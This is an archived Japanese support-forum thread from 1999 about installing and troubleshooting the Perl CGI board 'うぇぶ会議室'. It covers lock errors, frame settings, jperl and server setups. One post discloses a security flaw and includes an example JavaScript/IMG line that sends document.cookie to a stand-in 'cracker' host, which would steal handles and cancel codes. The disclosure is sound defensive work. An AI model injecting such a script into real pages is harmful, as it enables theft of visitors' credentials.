うぇぶ会議室の部屋4一括表示
[表示範囲:2〜101][スレッドモード]


[RE] フォロー記事投稿 記事のキャンセル
From: Radcliffe <radcliff@t3.rim.or.jp>
Subject: Re: 質問:エラーメッセージについて
Date: 1999/06/09 19:06:37
Reference: mesh.forum.3/00998

6月7日に、Radcliffeは書きました。

>こちらでは御無沙汰していますが、うぇぶ会議室にはお世話になっています。
>
>うちに付けてるうぇぶ会議室で、こんなエラーメッセージが出て書き込めなかった、と
>いうレポートがありました。
>
>>システムに致命的エラーが生じました。
>>原因 ('ロック出来ません', "xxxxxxxx/contents")
>
>これはどういった時に出るエラーなのでしょうか。
>何か対処法はありますでしょうか。

上記の件なのですが、FAQにあった
flockをdisableにしたら動くようになりました。

# ちなみに当方はbiglobeの2sサーバなんですが、
# これまでflock関数OKのままで支障なく使えてたのが
# なぜか使えなくなったみたいです。


[RE] フォロー記事投稿 記事のキャンセル
From: Shige <t_shigetome@muf.biglobe.ne.jp>
Subject: Re: www2s.biglobe.ne.jpのflock
Date: 1999/06/10 09:09:09
Reference: mesh.forum.4/00002

6月9日に、Radcliffeさんは書きました。

>6月7日に、Radcliffeは書きました。
>
>>こちらでは御無沙汰していますが、うぇぶ会議室にはお世話になっています。
>>
>>うちに付けてるうぇぶ会議室で、こんなエラーメッセージが出て書き込めなかった、と
>>いうレポートがありました。
>>
>>>システムに致命的エラーが生じました。
>>>原因 ('ロック出来ません', "xxxxxxxx/contents")
>>
>>これはどういった時に出るエラーなのでしょうか。
>>何か対処法はありますでしょうか。
>
>上記の件なのですが、FAQにあった
>flockをdisableにしたら動くようになりました。
>
># ちなみに当方はbiglobeの2sサーバなんですが、
># これまでflock関数OKのままで支障なく使えてたのが
># なぜか使えなくなったみたいです。

 一時的にflock出来なくなったようです>www2s(他も?)

#復旧したり再発したりしてますね 最近・・・
#私の方ではServer Errorで見えてた様な・・・


[RE] フォロー記事投稿 記事のキャンセル
From: Radcliffe <radcliff@t3.rim.or.jp>
Subject: Re: www2s.biglobe.ne.jpのflock
Date: 1999/06/10 09:45:08
Reference: mesh.forum.4/00003

6月10日に、Shigeさんは書きました。

> 一時的にflock出来なくなったようです>www2s(他も?)

やはり、そうなのでしょうか。
今その件に関して、一応サポートに問い合わせてみてはいるのですが…

>#復旧したり再発したりしてますね 最近・・・
>#私の方ではServer Errorで見えてた様な・・・

私のところでも、Server Errorも起こりました。


[RE] フォロー記事投稿 記事のキャンセル
From: JUN♪ <suga@loops.ne.jp>
Subject: Re: IISの認証では、外のPROXYサーバーからアクセスができない場合 対処方法を教えてくれませんか?
Date: 1999/06/10 20:24:06
Reference: mesh.forum.4/00001

6月9日に、いしどう@会社さんは書きました。
>「クリアテキスト認証」を有効にしてもアクセスできないのでしょうか。
具体的に、クリアテキストとは、どんな方法ですか?
最終的には、ディレクトリー事セキュリティをかけなくてはなりません。

loginを終わった後のURLは、直接アクセスできるのでは困ります。


[RE] フォロー記事投稿 記事のキャンセル
From: さるやま <saruyama@bigfoot.com>
Subject: Re: IISの認証では、外のPROXYサーバーからアクセスができない場合 対処方法を教えてくれませんか?
Date: 1999/07/02 14:21:26
Reference: mesh.forum.4/00005

通りすがりの者です。

6月10日に、JUN♪さんは書きました。

>具体的に、クリアテキストとは、どんな方法ですか?

ユーザ名、パスワードを暗号化せずに平文でやり取りするものです。
snifferを仕掛けられるとやばいですが、イントラネット内なら
いいかな?あ、でも外からも見られるのですか。
これはどこまで保護するかの考え方しだいです。

>最終的には、ディレクトリー事セキュリティをかけなくてはなりません。

このあたりは、クリアテキスト認証だろうと暗号化認証だろうと同じです。
たぶんご存知だと思われますが、NT上のファイルの所有権・アクセス権と
IISで設定するアクセス権とのからみで決まります(確か AND条件)。

で、まずはうぇぶ会議室云々より以前にIIS/NTの問題だと思いますので
適切な場所で(JWNTUGのMLとかFAQとか)訊ねられた方が手っ取りばやい
かもしれません。

ファイルの所有権(\までさかのぼって調べる必要があります)
や環境/症状をまとめた上で。


[NEW] フォロー記事投稿 記事のキャンセル
From: ひろ <hirokuri@anet.ne.jp>
Subject: 質問:最初に表示されるContents
Date: 1999/06/29 11:43:49

この会議室のシステムを使わせていただいてます。これ以上に使いやすく整理されたものは
ほかにはないので非常に重宝しています。

さて、最初に会議室にアクセスしたときに右上のフレーム(contents)に表示される部屋が
ありますが、それを任意の部屋を表示させる為にはどのようにしたらよいのでしょうか?

いきなりの質問で申し訳ないのですが、よろしくお願いします。


[RE] フォロー記事投稿 記事のキャンセル
From: TAD <hotani@mua.biglobe.ne.jp>
Subject: Re: 質問:最初に表示されるContents
Date: 1999/06/29 16:13:35
Reference: mesh.forum.4/00006

6月29日に、ひろさんは書きました。

>さて、最初に会議室にアクセスしたときに右上のフレーム(contents)に表示される部屋が
>ありますが、それを任意の部屋を表示させる為にはどのようにしたらよいのでしょうか?

基本的に「うぇぶ会議室」の設定はすべて site.pl の中で定義しますので、
コメントなどを参考にして見てみると、いろいろわかると思います。

で、本件ですが以下の変数に表示したいHTMLのファイル名を入れ、
行頭の'#'を外すことで実現できますよ。

# $contents = 'Contents.html';	# 最初に記事一覧に表示するもの


[RE] フォロー記事投稿 記事のキャンセル
From: TAD <hotani@mua.biglobe.ne.jp>
Subject: Re: 質問:最初に表示されるContents
Date: 1999/06/29 17:55:56
Reference: mesh.forum.4/00007

#ちょっと読み違えてました。(^^;;

>6月29日に、ひろさんは書きました。
>
>>さて、最初に会議室にアクセスしたときに右上のフレーム(contents)に表示される部屋が
>>ありますが、それを任意の部屋を表示させる為にはどのようにしたらよいのでしょうか?

ある部屋を、場合によって初期表示させたいのでしょうか。
それともある部屋を固定的に初期表示させたいのでしょうか。

前者の場合は、index.cgiを「room=(部屋のディレクトリ)」引数付きで呼び出せば
その部屋の一覧がcontentsフレームに表示されます。
(articleフレームにはPreface.htmlでなくその会議室のトップページが表示されます。)

http://www2.biglobe.ne.jp/~nir/Forum/index.cgi?room=mesh.open

後者の場合は、先の投稿で説明した変数に
contents.cgi?room=(部屋のディレクトリ)
とでもすれば良いと思います。

#CGIの場所が会議室のあるペーヂとは違う場合には
# $contents = "$CGIPATH/contents.cgi?room=mesh.open";
#とかすれば、いけるのかな。(未確認)


[RE] フォロー記事投稿 記事のキャンセル
From: ひろ <hirokuri@anet.ne.jp>
Subject: Re: 質問:最初に表示されるContents
Date: 1999/07/01 02:25:11
Reference: mesh.forum.4/00008

6月29日に、TADさんは書きました。

>#ちょっと読み違えてました。(^^;;
>
>>6月29日に、ひろさんは書きました。
>>
>>>さて、最初に会議室にアクセスしたときに右上のフレーム(contents)に表示される部屋が
>>>ありますが、それを任意の部屋を表示させる為にはどのようにしたらよいのでしょうか?
>
>ある部屋を、場合によって初期表示させたいのでしょうか。
>それともある部屋を固定的に初期表示させたいのでしょうか。
>
>前者の場合は、index.cgiを「room=(部屋のディレクトリ)」引数付きで呼び出せば
>その部屋の一覧がcontentsフレームに表示されます。
>(articleフレームにはPreface.htmlでなくその会議室のトップページが表示されます。)
>
>http://www2.biglobe.ne.jp/~nir/Forum/index.cgi?room=mesh.open
>
>後者の場合は、先の投稿で説明した変数に
>contents.cgi?room=(部屋のディレクトリ)
>とでもすれば良いと思います

さっそくのフォローありがとうございます。まず、URLからになりますが、
http://jiyu.net.np/waterski/
が私の設置した会議室のあるばしょです。
へやは全部で3つあり、雑談の部屋、スキーの部屋、ゲストブックでディレクトリは
それぞれ、free,ski,gestになっています。

私はここの会議室の「雑談の部屋」を固定的に初期表示させたいので
site.plのcontentsのところを以下のかえて最初の#をハズしてみましが

$contents = 'contents.cgi?room=ski';	# 最初に記事一覧に表示するもの

それでもなぜか「雑談の部屋」が一番最初に表示されてしまいます。
ひょっとしてほかの設定をかえないといけないのでしょうか?
すみませんが、またよろしくおねがいします。


[RE] フォロー記事投稿 記事のキャンセル
From: ひろ <hirokuri@anet.ne.jp>
Subject: Re: 質問:最初に表示されるContents
Date: 1999/07/01 02:27:38
Reference: mesh.forum.4/00010

7月1日に、ひろさんは書きました。

>私はここの会議室の「雑談の部屋」を固定的に初期表示させたいので
>site.plのcontentsのところを以下のかえて最初の#をハズしてみましが
>
>$contents = 'contents.cgi?room=ski';	# 最初に記事一覧に表示するもの
>
>それでもなぜか「雑談の部屋」が一番最初に表示されてしまいます。

すみません。まちがえました。私は「スキーの部屋」を固定的に初期表示させたいのです。
でも、なぜか「雑談の部屋」が表示されてしまいます。


[RE] フォロー記事投稿 記事のキャンセル
From: にあ <nir@mvg.biglobe.ne.jp>
Subject: Re: 質問:最初に表示されるContents
Date: 1999/07/02 00:32:14
Reference: mesh.forum.4/00011

7月1日に、ひろさんは書きました。

>7月1日に、ひろさんは書きました。
>
>>私はここの会議室の「雑談の部屋」を固定的に初期表示させたいので
>>site.plのcontentsのところを以下のかえて最初の#をハズしてみましが
>>
>>$contents = 'contents.cgi?room=ski';	# 最初に記事一覧に表示するもの
>>
>>それでもなぜか「雑談の部屋」が一番最初に表示されてしまいます。

現在は「スキーの部屋」が最上段に来ていて確かめられないのですが、
単にキャッシュを見ていた、と言うことは無いですか?

# 現在の $preface や $contents の処理はディレクトリが制限されていたりして、
# いかにも中途半端ですね。(^^;;
#
# キチンと URL がかける様にして、かつ $forumroot からの相対 URL を解釈する
# とすれば、現在との互換性を保ったままエレガントに拡張できるかな? (^^)


[RE] フォロー記事投稿 記事のキャンセル
From: ひろ <hirokuri@anet.ne.jp>
Subject: Re: 質問:最初に表示されるContents
Date: 1999/07/04 07:39:24
Reference: mesh.forum.4/00012

7月2日に、にあさんは書きました。

>7月1日に、ひろさんは書きました。
>
>>7月1日に、ひろさんは書きました。
>>
>>>私はここの会議室の「雑談の部屋」を固定的に初期表示させたいので
>>>site.plのcontentsのところを以下のかえて最初の#をハズしてみましが
>>>
>>>$contents = 'contents.cgi?room=ski';	# 最初に記事一覧に表示するもの
>>>
>>>それでもなぜか「雑談の部屋」が一番最初に表示されてしまいます。
>
>現在は「スキーの部屋」が最上段に来ていて確かめられないのですが、
>単にキャッシュを見ていた、と言うことは無いですか?
>
># 現在の $preface や $contents の処理はディレクトリが制限されていたりして、
># いかにも中途半端ですね。(^^;;
>#
># キチンと URL がかける様にして、かつ $forumroot からの相対 URL を解釈する
># とすれば、現在との互換性を保ったままエレガントに拡張できるかな? (^^)

レスありがとうございます。私もネットスケープの3と4のバージョンではスキーの部屋が
一番最初に表示されます。MSIE5もクッキーや履歴、キャッシュを全部削除してそれから、
表示するとはじめはスキーの部屋が表示されるのですが、更新するとなぜか雑談の部屋が
表示され、以降はアクセスすると雑談の部屋が最初に表示されるという、訳の分からない状態
です。どうも私の固有の環境の問題らしいです。お世話をかけました。

#のところのアドバイスが難しくて分かってなかったりします。(^^ゞ


[RE] フォロー記事投稿 記事のキャンセル
From: にあ <nir@mvg.biglobe.ne.jp>
Subject: Re: 質問:最初に表示されるContents
Date: 1999/07/04 21:55:45
Reference: mesh.forum.4/00016

7月4日に、ひろさんは書きました。

>>現在は「スキーの部屋」が最上段に来ていて確かめられないのですが、
>>単にキャッシュを見ていた、と言うことは無いですか?
>
>レスありがとうございます。私もネットスケープの3と4のバージョンではスキーの部屋が
>一番最初に表示されます。MSIE5もクッキーや履歴、キャッシュを全部削除してそれから、
>表示するとはじめはスキーの部屋が表示されるのですが、更新するとなぜか雑談の部屋が
>表示され、以降はアクセスすると雑談の部屋が最初に表示されるという、訳の分からない状態
>です。どうも私の固有の環境の問題らしいです。お世話をかけました。

キャッシュをすべて削除してもですか。(^^;; うーむ、どこに情報が残っているのでしょう?
# MSIEはあまり使っていないので、細かい不具合となるとよく分からないです。

>># 現在の $preface や $contents の処理はディレクトリが制限されていたりして、
>># いかにも中途半端ですね。(^^;;
>>#
>># キチンと URL がかける様にして、かつ $forumroot からの相対 URL を解釈する
>># とすれば、現在との互換性を保ったままエレガントに拡張できるかな? (^^)
>
>#のところのアドバイスが難しくて分かってなかったりします。(^^ゞ

あぁ、これはひろさんへのアドヴァイスではなくて、うぇぶ会議室のスクリプト自身の問題点です。
不具合が出た時、その問題点と修正方法について書いておいて、次の版を出す時までに
直しておくための、いわば備忘録のようなものです。
# なので、"#"付きなのです。

修正方針を公開しておけば、スキルのある人なら自分で直すでしょうし、方針に問題が
あるようなら、それに対する意見ももらえるかもしれないので。(^^)


[RE] フォロー記事投稿 記事のキャンセル
From: ひろ <hirokuri@anet.ne.jp>
Subject: Re: 質問:最初に表示されるContents
Date: 1999/07/13 10:53:05
Reference: mesh.forum.4/00017

7月4日に、にあさんは書きました。

>キャッシュをすべて削除してもですか。(^^;; うーむ、どこに情報が残っているのでしょう?
># MSIEはあまり使っていないので、細かい不具合となるとよく分からないです。

直りました。(*^_^*) 
会議室へのリンクがMSIEのお気に入りに入っていたのでそれを削除して、
それから、新たにお気に入りに登録し直したら直りました。

MSIEはキャッシュを消してもindex.datファイルが残っていて、そこにアクセス
した履歴が残っているそうです。それと関係があるのかは分かりません。

報告まででした。


[NEW] フォロー記事投稿 記事のキャンセル
From: Radcliffe <radcliff@t3.rim.or.jp>
Subject: 書き込みが不能になる症状
Date: 1999/06/30 20:07:57

また問題が発生して、お知恵を拝借したく、お邪魔しました。

私のサイト(www2sサーバ)に設置しているWeb会議室なのですが、
ある特定の人が書き込もうとすると、「投稿する」ボタンを押してしばらく
待つうちに、また投稿画面に戻ってしまう(特にエラーメッセージ等は出ない)
という症状があるそうです。

最初は環境のせいかと思ったのですが(学校からのユーザーなので、例えば
学校のサーバの設定とか)、他のウェブBBSの方には書き込めるようなので、
どうもそれが原因ではなさそうです。

何か、使用するブラウザの設定かバージョンなどで、そういった症状が
出る可能性はあるのでしょうか。あるいは、出たことがあるという方は
おられますでしょうか。

教えていただけると幸いです。


[RE] フォロー記事投稿 記事のキャンセル
From: にあ <nir@mvg.biglobe.ne.jp>
Subject: Re: 書き込みが不能になる症状
Date: 1999/07/02 00:41:24
Reference: mesh.forum.4/00009

6月30日に、Radcliffeさんは書きました。

>ある特定の人が書き込もうとすると、「投稿する」ボタンを押してしばらく
>待つうちに、また投稿画面に戻ってしまう(特にエラーメッセージ等は出ない)
>という症状があるそうです。

入力フォームの状態(中身は無し)になってしまうと言う事ですか?

>何か、使用するブラウザの設定かバージョンなどで、そういった症状が
>出る可能性はあるのでしょうか。あるいは、出たことがあるという方は
>おられますでしょうか。

その特定の方が使っているブラウザを書いていただいた方が解決が早いように思いますが。(^^;;

投稿時のスクリプトでは、SUBMIT ボタンに付けた名前を処理して、プレヴューかどうか
見分ける、と言った事をしていますので、SUBMIT ボタンに名前が付けられないブラウザだと
プレヴュー出来ずに投稿されてしまう事があります(昔はそう言うブラウザもあった)が、
投稿が出来ないと言うのは何ででしょうかね?


[RE] フォロー記事投稿 記事のキャンセル
From: Radcliffe <radcliff@t3.rim.or.jp>
Subject: Re: 書き込みが不能になる症状
Date: 1999/07/02 19:49:13
Reference: mesh.forum.4/00013

にあさん、レスありがとうございます。

7月2日に、にあさんは書きました。

>入力フォームの状態(中身は無し)になってしまうと言う事ですか?

そのようです。

>その特定の方が使っているブラウザを書いていただいた方が解決が早いように思いますが。(^^;;

申し訳ありません。そのへんの詳細情報が、私の手元にも届いてなかったもので、
取り急ぎ書いてしまいました(^_^;)
その後入手した情報によれば、環境は以下の通りです。私の質問に答えて
もらいました。

----------
>  1.ブラウザは何を使っているか? そのバージョンは?
        Internet Explorer 4 Service Pack 1

>  2.パソコンの機種は? OS(そのバージョン)は?
        機種: 富士通FMV-6366DX2c

>  3.以前には書き込めていたと思いますが、その時と現在の
>   環境に、何か違いはありませんか?
       クライアント、サーバ共に一新しました。
	Firewallを設けているのは以前と同じです。
----------

個人的にはサーバが一新された時に、何か投稿を阻止するような設定がかみ込んだか、
もしくはブラウザの設定か何かかな、と思っているのですが、別のBBSスクリプト
には正常に投稿できるので、私の方ではさっぱり見当がつきません。

参考までに、別のBBSスクリプトというのは、ネットサーフレスキューの
minibbs8.8です。


[RE] フォロー記事投稿 記事のキャンセル
From: にあ <nir@mvg.biglobe.ne.jp>
Subject: Re: 書き込みが不能になる症状
Date: 1999/07/04 21:56:30
Reference: mesh.forum.4/00015

7月2日に、Radcliffeさんは書きました。

>その後入手した情報によれば、環境は以下の通りです。

>> 1.ブラウザは何を使っているか? そのバージョンは?
>  Internet Explorer 4 Service Pack 1

うーん、MSIE4.0SP1ですか。とりあえず、問題は無さそうですね。

>> 3.以前には書き込めていたと思いますが、その時と現在の
>>  環境に、何か違いはありませんか?
>  クライアント、サーバ共に一新しました。
>  Firewallを設けているのは以前と同じです。

サーヴァというのが何のサーヴァなのかよく分かりませんが、firewallで
なにかやっているのでしょうかねぇ?

>個人的にはサーバが一新された時に、何か投稿を阻止するような設定がかみ込んだか、
>もしくはブラウザの設定か何かかな、と思っているのですが、別のBBSスクリプト
>には正常に投稿できるので、私の方ではさっぱり見当がつきません。

Radcliffeさんのとこでは無く、他のうぇぶ会議室、例えばここでも投稿できないのでしょうか?
# ここのTestの部屋なら自由に使ってもらってかまいませんが。


[NEW] フォロー記事投稿 記事のキャンセル
From: ポチ <hikun@hiroshima-cdas.or.jp>
Subject: NTのIIS3.0でやってみたいのですが
Date: 1999/07/07 06:12:28

こんにちは、雑誌でこのページがあることを知りました。

NT-4+IIS3でイントラネットの中で、利用したいのですが、
どのように、設置すればいいのですか?

PC-UNIXと違い結構NTは、手強い?ので・・・・

一応、Perlをいれて掲示板は動いています。
どのホルダーにどのファイルを設置すればよいか、ご教授くださいませ。
ちなみに、cgi-bin のホルダーは現在ありません、NTの場合は scripts ホルダーに
なるのですか?

どうか、宜しくお願いします。


[RE] フォロー記事投稿 記事のキャンセル
From: にあ <nir@mvg.biglobe.ne.jp>
Subject: Re: NTのIIS3.0でやってみたいのですが
Date: 1999/07/08 05:09:53
Reference: mesh.forum.4/00021

7月7日に、ポチさんは書きました。

>NT-4+IIS3でイントラネットの中で、利用したいのですが、
>どのように、設置すればいいのですか?

ここのようなサポート会議室を有効利用するこつは、まず、ある程度自分で試してみて、
その結果、どこが分からなくてどこが上手く行っていないのかを整理してから、
それに基づいた具体的な質問をすることです。

>どのホルダーにどのファイルを設置すればよいか、ご教授くださいませ。
>ちなみに、cgi-bin のホルダーは現在ありません、NTの場合は scripts ホルダーに
>なるのですか?

もう一つ。過去の事例を探してみると言うのも有効な手順のひとつです。

例えば、簡易記事検索で「NT」や「NT」を含む物を検索してみるだけで、
非常に多くの過去記事が見つかります。おそらくこれらの記事を読むことで
大抵の疑問は解消できるでしょうし、もしもまだ分からないことがあったら
改めて質問して下されば良いです。(^^)

# あたし自身はNTサーヴァをいぢった事無いので、NT特有の現象だとは良くは
# 分かりませんが、NTサーヴァでの設定に詳しい方も多くいらしてますし。


[NEW] フォロー記事投稿 記事のキャンセル
From: odyssey <odyssey@peach.plala.or.jp>
Subject: システムエラーの解消法を教えてください!!
Date: 1999/07/08 01:16:59

どうもはじめまして。
さっそくですが、会議室を設置したのですが、


「システムに致命的エラーが生じました。原因 ('ファイルの書式が不正です', "seikenchat/contents")」
…という表示が出て、TESTページ以外のContentsファイルを認識してくれません。

どうしたらいいでしょうか。
教えてください。


[RE] フォロー記事投稿 記事のキャンセル
From: にあ <nir@mvg.biglobe.ne.jp>
Subject: Re: システムエラーの解消法を教えてください!!
Date: 1999/07/08 05:59:26
Reference: mesh.forum.4/00023

7月8日に、odysseyさんは書きました。

>「システムに致命的エラーが生じました。原因 ('ファイルの書式が不正です', "seikenchat/contents")」
>…という表示が出て、TESTページ以外のContentsファイルを認識してくれません。

エラーからcontentsファイルがおかしいというのは分かると思いますが、具体的に
どこがおかしいのかは、実際にそのcontentsファイルを見てみないことには分かりませんね。

とりあえず、蓮沼さんの「うぇぶ会議室設置作業」会議室から「部屋の増設」とか、
いがらしさんの「うぇぶ会議室設置例」から「部屋の追加」辺りを見て
作りなおしてみたらいかがでしょうか?

サーヴァにcontentsを転送する時はASCIIモードで行なうことも忘れずに。


[NEW] フォロー記事投稿 記事のキャンセル
From: たき <taki@hans.or.jp>
Subject: うぇぶ会議室 on TurboLinux-Server
Date: 1999/07/13 09:48:55

はじめまして 滝川と申します。

以前から、うぇぶ会議室を利用させてもらっているのですが、
動作環境をSolarisからTurboLinux-Server1.0に変えた所、
タイトルの一覧表示画面で、タイトルの末尾1バイトが切れて
しまうようになりました。

末尾が半角文字は切れるだけですが、全角の場合には・A>と
なってしまいます。perlはperl-5.004_04_980303-5TLです。

ちなみにURLはhttp://www.habi.ne.jp/forumです。
対処法がありましたら、ご教示ください。


[RE] フォロー記事投稿 記事のキャンセル
From: TAD <hotani@mua.biglobe.ne.jp>
Subject: 記事一覧行末の文字化け(Re: うぇぶ会議室 on TurboLinux-Server)
Date: 1999/07/13 11:16:57
Reference: mesh.forum.4/00026

7月13日に、たきさんは書きました。

>はじめまして 滝川と申します。

滝川さん、こんにちは。

>以前から、うぇぶ会議室を利用させてもらっているのですが、
>動作環境をSolarisからTurboLinux-Server1.0に変えた所、
>タイトルの一覧表示画面で、タイトルの末尾1バイトが切れて
>しまうようになりました。

これjperlで動作したときの典型的な症状のようですね。
うぇぶ会議室のFAQを参照してみて下さい。

>末尾が半角文字は切れるだけですが、全角の場合には・A>と
>なってしまいます。perlはperl-5.004_04_980303-5TLです。

バージョンが5.x以降なので、FAQにある -b オプションが使えるかもしれないですね。

#ところで 'perl-5.004_04_980303-5TL'ってjperl?
以下のコマンドを打つとどのように表示されますでしょうか。

$ perl -v


[RE] フォロー記事投稿 記事のキャンセル
From: たき <taki@hans.or.jp>
Subject: Re: 記事一覧行末の文字化け(Re: うぇぶ会議室 on TurboLinux-Server)
Date: 1999/07/15 13:57:39
Reference: mesh.forum.4/00028

7月13日に、TADさんは書きました。

>これjperlで動作したときの典型的な症状のようですね。
>うぇぶ会議室のFAQを参照してみて下さい。

FAQは見てから投稿したつもりでしたが・・・ 見落としていました
お恥ずかしい限りです。

適切なアドバイスありがとうございました。ちゃんと動くようになり
ました。



>#ところで 'perl-5.004_04_980303-5TL'ってjperl?
>以下のコマンドを打つとどのように表示されますでしょうか。
>
>$ perl -v

こんな感じです。
 
HaBI{taki forum}17: perl -v

This is perl, version 5.004_04 built for i386-linux

Copyright 1987-1997, Larry Wall

Japanization patch 4 by Yasushi Saito, 1996

Modified by Hirofumi Watanabe, 1996-1998
jperl5.004_04-980303
EUC version

Perl may be copied only under the terms of either the Artistic License or the
GNU General Public License, which may be found in the Perl 5.0 source kit.


[NEW] フォロー記事投稿 記事のキャンセル
From: yaji <yuji.mineyama@nifty.ne.jp>
Subject: キャンセルコードを変更するには
Date: 1999/07/13 20:40:48

始めてまして、yajiと申します。 よろしく、お見知り置きをお願いします。

さて、この度にあさんのWEB会議室をお借りして、bbsに挑戦しました。五十嵐さんからサポートしていただいて、ようやくここまでたどり着きましたが、子子で困ったことができてしまいました。 キャンセルコードを誤って自分の意図していたものとは異なるものに設定してしまったようで、キャンセルができなくなってしまいました。キャンセルコードを変える方法を教えてください。

bbs: http://cgi3.tky.3web.ne.jp/~ylb/bbs/index.cgi


                yaji   yuji.mineyama@nifty.ne.jp


[RE] フォロー記事投稿 記事のキャンセル
From: にあ <nir@mvg.biglobe.ne.jp>
Subject: Re: キャンセルコードを変更するには
Date: 1999/07/14 21:02:51
Reference: mesh.forum.4/00029

7月13日に、yajiさんは書きました。

>キャンセルコードを誤って自分の意図していたものとは異なるものに
>設定してしまったようで、キャンセルができなくなってしまいました。
>キャンセルコードを変える方法を教えてください。

これは、システム管理者のキャンセルコードが分からなくなったと言うことですか?
でしたら、最初に設定したのと同じ様にして設定し直すだけですが...

それとも、ある記事に設定したキャンセルコードが分からなくなったと言うことですか?
でしたら、システム管理者のキャンセルコードを使えば、一般の記事は消せますが...


[RE] フォロー記事投稿 記事のキャンセル
From: yaji <yuji.mineyama@nifty.ne.jp>
Subject: Re: キャンセルコードを変更するには
Date: 1999/07/15 21:32:36
Reference: mesh.forum.4/00032

7月14日に、にあさんは書きました。

>7月13日に、yajiさんは書きました。
>
>>キャンセルコードを誤って自分の意図していたものとは異なるものに
>>設定してしまったようで、キャンセルができなくなってしまいました。
>>キャンセルコードを変える方法を教えてください。
>
>これは、システム管理者のキャンセルコードが分からなくなったと言うことですか?
>でしたら、最初に設定したのと同じ様にして設定し直すだけですが...

ありがとうございました。 これでようやく何とか一丁前に成ったようです。
それにしても、よくできていますね。 もうすぐ公開にこぎつけたいと思っています。

謝謝。


[NEW] フォロー記事投稿 記事のキャンセル
From: えり <eli@db3.so-net.ne.jp>
Subject: ダウンロードできない?
Date: 1999/07/13 23:15:12

こんにちは。ここにお邪魔させていただくのはもう3回目です。
初めて質問したのはもうちょうど1年前になるんですね。早いなぁー。
(いいかげん設置しろよ!って言われそう・・・)
ま、今まで何をしてたかは置いといて、と。
今回の問題についてなにかおわかりになることがあれば教えてください。

問題:
「最新リリース版(Ver.1.7c)のアーカイブ」ファイルをダウンロードしようとしたところ、次のようなエラーメッセージが表示されてダウンロードできませんでした。
ブラウザは「Microsoft Internet Explorer 4.0」です。

エラーメッセージ:
「インターネットサイト forum-1.7c.tar.gz - www2.biglobe.ne.jp からダウンロードできません。
ダウンロードされたファイルは利用できません。セキュリティや言語の設定が原因であるか、または要求されたファイルをサーバーが取得できなかったことが原因です。」

以上です。
もしかすると、すっごいしょーもないことなのかもしれないので気が引けるのですが・・・。
何かひらめくことなどあれば教えてください。よろしくお願いします。


[NEW] フォロー記事投稿 記事のキャンセル
From: きゅんべる <cucumber@cam.hi-ho.ne.jp>
Subject: これはセキュリティホール?
Date: 1999/07/14 10:08:36

 二ヶ月ほど前、cumberというハンドルで投稿した、"きゅんべる"です。

 うぇぶ会議室で、「これはちょっと問題かな?」と思えなくもないところを
見つけたので、報告したいと思います。


 いま、うぇぶ会議室の普通の設定では、

 CGIディレクトリ −−−− 会議室1のディレクトリ
            |−− 会議室2のディレクトリ
            |−− 会議室3のディレクトリ

と言うようになってますよね。

 すると、この設定では、会議室の投稿ファイルからcookieをアクセスすると、
CGIで使ってるcookieつまり、ハンドルネームやキャンセルコードが見えて
しまうと思うんです。

 例えば、JavaScriptで、
       private_data = document.cookie;
      <IMG SRC="http://www.hoge.ne.jp/cracker/spy.cgi?private_data">
などといったコードを投稿にし込んだ場合、アクセス者のパスワードなども盗め
てしまうと思うんです。

 ディレクトリー構成として、
     |−− CGIディレクトリ
     |−− 会議室1のディレクトリ
     |−− 会議室2のディレクトリ
     |−− 会議室3のディレクトリ
とかを推奨したほうがいいと思うのですが、如何でしょう?


[RE] フォロー記事投稿 記事のキャンセル
From: にあ <nir@mvg.biglobe.ne.jp>
Subject: Re: これはセキュリティホール?
Date: 1999/07/15 02:49:46
Reference: mesh.forum.4/00031

7月14日に、きゅんべるさんは書きました。

> いま、うぇぶ会議室の普通の設定では、
>
> CGIディレクトリ −−−− 会議室1のディレクトリ
>            |−− 会議室2のディレクトリ
>            |−− 会議室3のディレクトリ
>
>と言うようになってますよね。
>
> すると、この設定では、会議室の投稿ファイルからcookieをアクセスすると、
>CGIで使ってるcookieつまり、ハンドルネームやキャンセルコードが見えて
>しまうと思うんです。

Cookieに記録されるような情報、つまり、Internet上を平文でやり取りされるような
情報は常に漏洩の危険性に晒されています。特にCookieはHTTPのヘッダとして
やり取りされますから、キャッシュサーヴァのログなどに残っている事も多く、
基本的に重要物では無い、と思っています。

ですから、逆に重要な情報がCookieに記録されるのを避ける意味で、記事の削除に
使うコードに対して「パスワード」と言う言葉を用いずに「キャンセルコード」と
呼んで、常用しているパスワードを記載してしまう事を抑制しようとしているわけです。

# とは言え、きっと自分のパスワードを書いちゃっている人もいるんでしょうね。(^^;;

ただ、「うぇぶ会議室」の運用の面から考えれば、キャンセルコードが分かってしまうのが
よろしくないのは言うまでもないですが。(^^;

> ディレクトリー構成として、
>     |−− CGIディレクトリ
>     |−− 会議室1のディレクトリ
>     |−− 会議室2のディレクトリ
>     |−− 会議室3のディレクトリ
>とかを推奨したほうがいいと思うのですが、如何でしょう?

そうですね。こちらの構成の方が安全であるのは確かですし、セキュリティの面から離れても
CGIディレクトリと会議室ディレクトリが同じ階層にあることで、中で使用する画像などを
絶対パスではなく相対パスで表記できるなど利点も多いため望ましいと考えられますね。

# 実は次版ではこの様な構成に変えようと思って、現在のCookieを新しい場所に簡単に
# 移行させるための方法なども色々検討していたのですが、次版の開発が止まってしまい
# そのままになってるのが現状です。(^^;;;


[NEW] フォロー記事投稿 記事のキャンセル
From: INFU <infu@geocities.co.jp>
Subject: 初心者ですぅ〜&お手上げですぅ〜
Date: 1999/07/23 01:05:55

はじめましてINFUと申します以後お見知りおきを・・・
さっそく本題の方へ・・・
私かなりの初心者なんです、このWEB会議室がとても気に入って
私のH・Pにも開設できたらいいなぁ、って思って
オンラインマニュアルなどを見させてもらって手探りでやったんですが
どうも上手く行きません
アドレスを入れてフレームが三つに分かれるところまでは、よいのですが
そのあと全てのフレームのなかに「ページが見つかりません」の文字がでるのです
私が契約しているネット接続会社が3WEBで3WEBはWWWサーバとCGIサーバ
に分かれてるらしくてオンラインマニュアルを見てもわからないんです
私の場合はやっぱり無理なのでしょうか?
どなたでも結構です、もしよろしければ私にアドバイスをしていただけないでしょうか
よろしくお願いします。


[RE] フォロー記事投稿 記事のキャンセル
From: にあ <nir@mvg.biglobe.ne.jp>
Subject: Re: 初心者ですぅ〜&お手上げですぅ〜
Date: 1999/07/24 19:51:04
Reference: mesh.forum.4/00036

7月23日に、INFUさんは書きました。

>私が契約しているネット接続会社が3WEBで3WEBはWWWサーバとCGIサーバ
>に分かれてるらしくてオンラインマニュアルを見てもわからないんです

3webは確かにWWWサーヴァとCGIサーヴァが別になっていてファイル共有なども
されていないようなので、うぇぶ会議室を双方に分けて入れることは出来ません。

